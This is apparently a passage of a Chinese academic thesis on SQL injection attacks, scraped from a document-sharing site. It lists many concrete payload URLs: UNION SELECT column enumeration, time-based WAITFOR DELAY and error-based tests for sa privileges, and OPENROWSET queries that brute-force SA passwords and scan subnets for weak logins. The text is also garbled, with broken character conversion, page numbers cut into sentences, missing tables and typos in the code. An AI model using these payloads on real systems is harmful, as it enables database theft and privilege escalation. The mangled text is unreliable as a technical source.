38、Parameter Splitting and Balancing技術(shù)假如注入帶推斷的函數(shù)不起作用,能夠嘗試“parameter splitting and balancing”(參數(shù)拆分與平衡)技術(shù)。拆分是指拆分正常的參數(shù)輸入,平衡則是指保證最終的查詢與正常的輸入是一致。其差不多思想是:將正常的請(qǐng)求參數(shù)進(jìn)行拆分,然后使用SQL語句關(guān)鍵字對(duì)它們進(jìn)行修改,最終需保證與原數(shù)據(jù)不同,使得后臺(tái)數(shù)據(jù)庫服務(wù)器解析執(zhí)行帶入的參數(shù)時(shí),與正常的參數(shù)請(qǐng)求一樣的同時(shí)也帶入了“非法”的請(qǐng)求。例如,在http:/*./view_review.php?id=5那個(gè)URL中,將id參數(shù)的值插入到一條SQL語句中構(gòu)成下列查詢

39、:SELECT review_content,review_author FROM reviews WHERE id=5假如使用2+3替換5,那么輸入應(yīng)用中的參數(shù)將不同于原始請(qǐng)求中的輸入,但SQL數(shù)據(jù)執(zhí)行在結(jié)果上是等價(jià)相同的:SELECT review_content,review_author FROM reviews WHERE id=2+3這種方式不僅僅只局限于數(shù)字值型。假設(shè)http:/*./view_review.php?Author=dllk那個(gè)URL返回與某一數(shù)據(jù)庫項(xiàng)目相關(guān)的信息,我們將Author參數(shù)的值放到一條SQL查詢中構(gòu)成下列查詢:SELECT COUNT(id) FROM

40、 reviews WHERE review_aouthor = dllk能夠使用特定的數(shù)據(jù)庫運(yùn)算符將dllk字符串拆分,向Web服務(wù)應(yīng)用提供與dllk相對(duì)應(yīng)的不同的參數(shù)輸入。關(guān)于再oracle數(shù)據(jù)庫的利用中,能夠使用“|”運(yùn)算符來鏈接兩個(gè)字符串:SELECT COUNT(id) FROM reviews WHERE review_aouthor = dl|lk它與之前的第一個(gè)查詢?cè)谧罱K執(zhí)行的參數(shù)是等價(jià)的。下表2-1是帶子查詢占位符的拆分字符串參數(shù):表2-1 帶子查詢占位符的拆分字符串第3章 SQL注入攻擊技術(shù)研究3.1 識(shí)不數(shù)據(jù)庫要成功進(jìn)行SQL注入攻擊,還有重要的一點(diǎn)確實(shí)是需要探測出服務(wù)器正

41、在使用的數(shù)據(jù)庫系統(tǒng)DBMS。若是攻擊者連數(shù)據(jù)庫系統(tǒng)都無從推斷,就不可能構(gòu)造出有效的“惡意”參數(shù)來進(jìn)行SQL注入,也就無法實(shí)施攻擊。通常WEB架構(gòu)技術(shù)能夠使我們推測驗(yàn)證出數(shù)據(jù)庫系統(tǒng)。例如,ASP和.NET的WEB服務(wù)應(yīng)用通常使用的事Microsoft SQL Server作為數(shù)據(jù)庫系統(tǒng),而PHP應(yīng)用則專門可能使用MYSQL數(shù)據(jù)庫。假如是用JAVA、JSP等編寫的,那么專門有可能使用的是Oracle數(shù)據(jù)庫。在識(shí)不SQL注入漏洞所存在的數(shù)據(jù)庫中,假如不是SQL盲注,通常情況下能夠?qū)iT快的推斷出數(shù)據(jù)庫系統(tǒng)。假如數(shù)據(jù)庫響應(yīng)返回出SQL注入的錯(cuò)誤消息,一般都會(huì)在報(bào)錯(cuò)的響應(yīng)中能夠找到是何數(shù)據(jù)庫系統(tǒng)的線索。如

42、圖3-1 SQL Server錯(cuò)誤信息:圖3-1 SQL Server錯(cuò)誤信息依照?qǐng)?bào)錯(cuò)信息能夠?qū)iT直接的就推斷數(shù)據(jù)庫類型為Microsoft SQL Server。這種方法確實(shí)是添加一個(gè)單引號(hào)將使得構(gòu)造的SQL語句參數(shù)帶入到數(shù)據(jù)庫服務(wù)器當(dāng)作SQL語句來執(zhí)行,這將產(chǎn)生一條語法錯(cuò)誤而暴露出錯(cuò)誤信息。如圖3-2 SQL Server錯(cuò)誤信息: HYPERLINK http:/*./general/vote/show/webst/list.php?VOTE_ID=131 http:/*./general/vote/show/webst/list.php?VOTE_ID=131圖3-2 SQL Serv

43、er錯(cuò)誤信息在錯(cuò)誤消息中明確提到了“MySQL”,還附加了一些關(guān)于出錯(cuò)內(nèi)容的有用細(xì)節(jié)。如下表3-1返回各種DBMS所對(duì)應(yīng)的查詢:表3-1 返回各種DBMS所對(duì)應(yīng)的查詢例如,關(guān)于SQL Server 2000 SP4來講,執(zhí)行SELECTversion查詢時(shí),將得到如圖3-3所示信息:圖3-3 SQL Server 2000服務(wù)器返回信息假如應(yīng)用服務(wù)器并不能直接的在響應(yīng)中返回所想要的數(shù)據(jù)信息,則需要一種間接的方法來觸發(fā)獲得想要的信息。不同的數(shù)據(jù)庫,在語法查詢方式上有略微的不同,不同的數(shù)據(jù)庫系統(tǒng)就會(huì)有不同的查詢方式。比如一個(gè)簡單查詢?nèi)缦拢篠ELECT somestring該查詢語句關(guān)于大多數(shù)主流的

44、數(shù)據(jù)庫系統(tǒng)差不多上有效的,關(guān)于不同的數(shù)據(jù)庫系統(tǒng),將查詢的字符串分成兩個(gè)字串的SQL語句的時(shí)候依舊存在有細(xì)微的差異的,就SQL Server、Mysql、Oracle來講,如下表3-2:表3-2 字符串分成兩個(gè)字串的SQL語句假設(shè)Web應(yīng)用中沒有能夠利用的SQL注入字符串參數(shù),則能夠使用之前數(shù)字參數(shù)類似的技術(shù)。如此的話就需要一條針對(duì)特定情況特定技術(shù)的SQL語句,使得在服務(wù)器通過執(zhí)行SQL語句后計(jì)算后生成一個(gè)數(shù)字。在下表3-3所示列舉的SQL語句中,在對(duì)應(yīng)的數(shù)據(jù)庫系統(tǒng)上執(zhí)行對(duì)應(yīng)的SQL語句后都會(huì)生成一個(gè)整數(shù),而若在其他不同的數(shù)據(jù)庫下執(zhí)行語句的話,就將會(huì)產(chǎn)生錯(cuò)誤。表3-3 從數(shù)字函數(shù)推斷DBMS版本

45、3.2 注入語句獵取數(shù)據(jù)UNION語句是數(shù)據(jù)庫治理員經(jīng)常使用函數(shù)之一。使用UNION的SQL語句,能夠連接兩條或多條SELECT語句的聯(lián)合查詢得到結(jié)果。差不多語法如下所示:SELECT column-1,column-2,.,column-N FROM table-1UNIONSELECT column-1,column-2,.,column-N FROM table-2執(zhí)行該查詢后,返回結(jié)果得到的是由兩個(gè)SELECT語句返回結(jié)果組成的表。通常在默認(rèn)情況下,得到的返回結(jié)果中只會(huì)包含不同的數(shù)值。假如想在查詢的結(jié)果中將重復(fù)的值也顯示出來,只需要略微修改下語法即可:SELECT column-1,c

46、olumn-2,.,column-N FROM table-1UNION ALLSELECT column-1,column-2,.,column-N FROM table-2在SQL注入測試攻擊中,數(shù)據(jù)庫的UNION查詢方法關(guān)于攻擊來講作用專門大:假如服務(wù)器能夠正常返回第一個(gè)查詢得到的數(shù)據(jù),若想修改加入數(shù)據(jù)庫UNION查詢,便能夠利用讀取到攻擊者想要讀取的該數(shù)據(jù)庫用戶,然后就能夠訪問的其他的任何一張數(shù)據(jù)表。如,假如想要找到list.asp頁面執(zhí)行的查詢的數(shù)據(jù)表所返回的列數(shù),則能夠按下列方式請(qǐng)求URL,直到不再返回錯(cuò)誤位置信息:http:/*./list.asp?Id=12+union+sel

47、ect+null-http:/*./list.asp?Id=12+union+select+null,null-http:/*./list.asp?Id=12+union+select+null,null,null-獵取列的另一種方法是使用ORDER BY語句,ORDER BY語句并不是通過注入另一個(gè)查詢語句來獲得查詢結(jié)果。通過增大ORDER BY 子語句中代表列的數(shù)字就能夠來識(shí)不查詢中的列數(shù),如下所示:http:/*./list.asp?Id=12+order+by+1http:/*./list.asp?Id=12+order+by+2http:/*./list.asp?Id=12+orde

48、r+by+3.若在以上使用ORDER BY 9查詢時(shí)收到第一個(gè)錯(cuò)誤回顯,就意味著查詢的數(shù)據(jù)庫中包含的數(shù)據(jù)有8列。當(dāng)攻擊識(shí)不出數(shù)據(jù)庫的列數(shù)后,接下來確實(shí)是選擇數(shù)據(jù)中的其中一列或幾列來接著攻擊查詢數(shù)據(jù)庫中的數(shù)據(jù)了。因此,假如攻擊者想提取一個(gè)數(shù)據(jù)庫字符串值,就能夠通過它來保存正在查找的數(shù)據(jù),以便找到一個(gè)字符串類型的列。攻擊者能夠用NULL來專門容易的實(shí)現(xiàn),只需要重復(fù)的使用字符串示例替換掉NULL即可。例如,假如原始的數(shù)據(jù)查詢中包含4列數(shù)據(jù),則能夠做如下嘗試獲得字符串類型的列:http:/*./list.asp?Id=12+union+select+dllk,null,null,nullhttp:/*

49、./list.asp?Id=12+union+select+null,dllk,null,nullhttp:/*./list.asp?Id=12+union+select+null,null,dllk,nullhttp:/*./list.asp?Id=12+union+select+null,null,null,dllk只要數(shù)據(jù)庫沒有返回錯(cuò)誤,就可明白剛才存儲(chǔ)dllk值的列保存的一個(gè)字符串,因此就能夠用它來顯示需要的值。例如,若數(shù)據(jù)中第二列能夠保存一個(gè)字符串字段,則當(dāng)請(qǐng)求下面的URL即可存儲(chǔ)到第二列中:http:/*./list.asp?Id=12+union+select+null,syst

50、em_user,null,null而下列URL則能夠同時(shí)檢索當(dāng)前用戶名和當(dāng)前數(shù)據(jù)庫名:http:/*./list.asp?Id=12+union+select+null,system_user,db_name(),null攻擊者通過精心構(gòu)造使用UNION SELECT的SQL語句注入,就能夠獵取整張數(shù)據(jù)表。假設(shè)攻擊者差不多得到當(dāng)前數(shù)據(jù)庫包含一張名為users的表,表中包含userid、first_name、和second_name列。則能夠使用下面的方式來獵取用戶名:http:/*./list.asp?Id=12+union+select+userid,first_name,second_na

51、me,null+FROM+userrs使用UNION注入任意查詢來攻擊數(shù)據(jù)庫,是一種既快捷又有效的攻擊手段技巧。但該方法并不通用,WEB應(yīng)用也沒那么容易就輕易的泄漏數(shù)據(jù)庫數(shù)據(jù)。在Microsoft SQL Server中,關(guān)于攻擊者來講,攻擊者最想了解的是當(dāng)前執(zhí)行數(shù)據(jù)庫查詢的應(yīng)用用戶是否是以系統(tǒng)治理員帳戶(SA)運(yùn)行的。因?yàn)闄?quán)限的不同,所能進(jìn)行的查詢和操作就不同,在后續(xù)的擴(kuò)大滲透中,在數(shù)據(jù)庫上執(zhí)行的敏感的提權(quán)操作也會(huì)有所不同,關(guān)于攻擊者的攻擊的程度也不同。為確定是否為SA權(quán)限,能夠使用下列注入語句查詢:IF (system_user = sa) WAITFOR DELAY 0:0:5 -該查詢

52、將轉(zhuǎn)換為下列URL:http:/*./list.asp?id=12;if+(system_user = sa)+WAITFOR+DELAY+0:0:6 -語句中的System_user在SQL Server中是T-SQL函數(shù),那個(gè)函數(shù)在數(shù)據(jù)庫中執(zhí)行完成后會(huì)返回?cái)?shù)據(jù)為當(dāng)前登錄的用戶名。該P(yáng)ayload的執(zhí)行,是依照system_user函數(shù)執(zhí)行的值來判定是否執(zhí)行WAITFOR函數(shù)(等待6秒)。攻擊者能夠通過Web應(yīng)用查詢后返回的結(jié)果加載HTML數(shù)據(jù)所花費(fèi)的時(shí)刻來判定是否為SA用戶。該P(yáng)ayload的SQL查詢語句尾部的兩條橫線是注釋作用,能夠注釋掉所有可能阻礙原查詢結(jié)果的除偽造拼接的SQL攻擊查

53、詢代碼。上面基于時(shí)刻的判定的技巧專門靈活,然而基于時(shí)刻判定的的方法不適合提取大量信息。能夠利用基于錯(cuò)誤的判定的方法,如:http:/*./list.asp?id=12/is_srvrolemember(webdmin)is_srvrolemember()也是SQL Server中的T-SQL函數(shù),當(dāng)它被執(zhí)行,能夠返回下列值:1:用戶屬于該組。0:用戶不屬于該組。NULL:該組不存在。我們假設(shè)用戶屬于webadmin組,那么URL中的id的參數(shù)應(yīng)該等于12/1,因此,Web應(yīng)用就會(huì)正常返回?cái)?shù)據(jù)頁面。假如當(dāng)前的用戶并不是webadmin組中的成員,那么現(xiàn)在URL中的id值確實(shí)是12/0;如此的話將

54、會(huì)導(dǎo)致SQL語句查詢失敗,Web應(yīng)用返回的結(jié)果是一個(gè)錯(cuò)誤。關(guān)于返回的錯(cuò)誤來講,錯(cuò)誤的具體消息內(nèi)容確信會(huì)各有千秋:錯(cuò)誤可能只是由Web服務(wù)器相應(yīng)錯(cuò)誤返回的500 internal server error,錯(cuò)誤信息也有可能包含了完整的SQL Server錯(cuò)誤消息,甚至由于治理員的限制,錯(cuò)誤的信息是治理員主動(dòng)設(shè)置的自定義的404錯(cuò)誤頁面。關(guān)于WAITFOR的基于時(shí)刻的方法來講,基于錯(cuò)誤來判定的方法有個(gè)專門大的優(yōu)點(diǎn)確實(shí)是效率,基于時(shí)刻的方法涉及查詢延遲的問題,基于錯(cuò)誤的判定的方法的請(qǐng)求能夠立即返回注入利用的結(jié)果。因此基于錯(cuò)誤的方法缺點(diǎn)確實(shí)是將會(huì)觸發(fā)專門多錯(cuò)誤,這些錯(cuò)誤將會(huì)被記入到服務(wù)器的日志當(dāng)中,這

55、關(guān)于攻擊者來講是不情愿見到的。只是,能夠稍作修改優(yōu)化,例:http:/*./list.asp?id=24%2B(case+when+(system_user=sa)+then+1+else+0+end)%2B是“+”的URL編碼。最終將按照下列式子為id參數(shù)賦值:id=24+ ( case when (system_user = sa) then 1 else 0 end)假如執(zhí)行的不是sa,那么id=24,請(qǐng)求等價(jià)于:http:/*./list.asp?id=24而假如執(zhí)行查詢的用戶是sa,那么id=25,請(qǐng)求就等價(jià)于:http:/*./list.asp?id=25因此,攻擊者就能夠能夠依照

56、Web服務(wù)器查詢后返回的結(jié)果中加載的HTML中包含的字符串的不同來推斷當(dāng)前用戶是否為sa。3.3 提升權(quán)限所有的數(shù)據(jù)庫系統(tǒng)治理員都能夠?qū)?shù)據(jù)庫用戶的權(quán)限進(jìn)行專門詳細(xì)的專門細(xì)微的設(shè)置和操縱。治理員能夠?yàn)槊總€(gè)用戶給予一定量的操作執(zhí)行權(quán)限來實(shí)現(xiàn)用戶對(duì)數(shù)據(jù)存儲(chǔ)信息的訪問。通常一個(gè)數(shù)據(jù)庫系統(tǒng)都可能包含了專門多個(gè)數(shù)據(jù)庫,然而攻擊者利用的數(shù)據(jù)庫的用戶權(quán)限只能訪問其中某一個(gè)數(shù)據(jù)庫,在正常的情況下,其他的數(shù)據(jù)庫都不能進(jìn)行任何操作,然而攻擊者目前掌控的數(shù)據(jù)庫中并沒有想要的信息。或者是當(dāng)前數(shù)據(jù)庫的用戶權(quán)限能夠讀取所有數(shù)據(jù)庫的內(nèi)容,然而只有關(guān)于當(dāng)前數(shù)據(jù)庫有寫權(quán)限,關(guān)于其他數(shù)據(jù)庫不能執(zhí)行修改操作。攻擊者若想獵取其他數(shù)據(jù)

57、庫的操作或者關(guān)于系統(tǒng)的其他地點(diǎn)進(jìn)行操作,就需要更高的權(quán)限。那個(gè)過程確實(shí)是提升權(quán)限。3.3.1 SQL Server數(shù)據(jù)庫的提權(quán)在Microsoft SQL Server中,使用命令OPENROWSET是一個(gè)專門好也比較典型的的數(shù)據(jù)庫攻擊方法。OPENROWSET是能夠?qū)崿F(xiàn)SQL Server對(duì)遠(yuǎn)程的OLE DB數(shù)據(jù)源進(jìn)行一次性連接,而DBA則能夠用來檢索和查詢遠(yuǎn)程數(shù)據(jù)庫上的數(shù)據(jù),如此就能夠作為連接數(shù)據(jù)庫的一種方法。下面是典型調(diào)用OPENROWSET的方法,例:SELECT * FROM OPENROWSET (SQLOOLEDB,Network=DMSSOCN;Address=0;uid=dl

58、lk;pwd=password,SELECT columnA FROM tableB)上述語句中以用戶dllk密碼為password連接到地址為0的SQL Server數(shù)據(jù)庫并執(zhí)行select columnA from tableB查詢,并返回查詢結(jié)果。SQL Server的OPENROWSET在SQL注入攻擊中有多種攻擊方式和技巧。例如在SQL Server 2000上,攻擊者能夠使用OPENROWSET來進(jìn)行暴力猜解SA密碼并提升權(quán)限。例如:SELECT * FROM OPENROWSET (SQLOOLEDB,Network=DMSSOCN;Address=xx.xx.x.x;uid=s

59、a;pwd=dllktest,SELECT A)若dllktest是正確的密碼,那么執(zhí)行該查詢并會(huì)返回結(jié)果A;但若密碼不正確,那么將收到下面的返回信息:Login Failed for user sa.如此就能夠構(gòu)造一種暴力猜解SA密碼的方法。假如找到正確的密碼,接著就能夠使用sp_addsrolemember存儲(chǔ)過程來將用戶添加到sysadmin治理員組,如此就能夠?qū)iT容易地提升權(quán)限。命令OPENROWSET同時(shí)也能夠用于掃描SQL Server存在的弱口令,如:SELECT * FROM OPENROWSET (SQLOOLEDB,Network=DMSSOCN;Address=1;uid

60、=sa;pwd=123456,SELECT A)該語句查詢嘗試以sa帳號(hào)、密碼為123456、地址為1的SQL Server發(fā)出登錄驗(yàn)證請(qǐng)求。若想實(shí)現(xiàn)在某一個(gè)網(wǎng)段內(nèi)掃描所有IP地址上的SQL Server弱口令就專門容易。執(zhí)行完查詢語句完成后會(huì)將結(jié)果保存到一個(gè)臨時(shí)表中,然后能夠使用前面提到的一些方法都能夠獵取這些數(shù)據(jù)。3.3.2 Oracle數(shù)據(jù)庫的提權(quán)關(guān)于Oracle數(shù)據(jù)庫,通常通過Web應(yīng)用的來進(jìn)行SQL注入利用提升權(quán)限的專門困難。因?yàn)樵贠racle數(shù)據(jù)庫中,大多數(shù)的提權(quán)攻擊方法都需要前提是PL/SQL注入,而PL/SQL這種注入漏洞通常都專門少見。若碰到PL/SQL注入漏洞,則能夠通過注

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。

評(píng)論

0/150

提交評(píng)論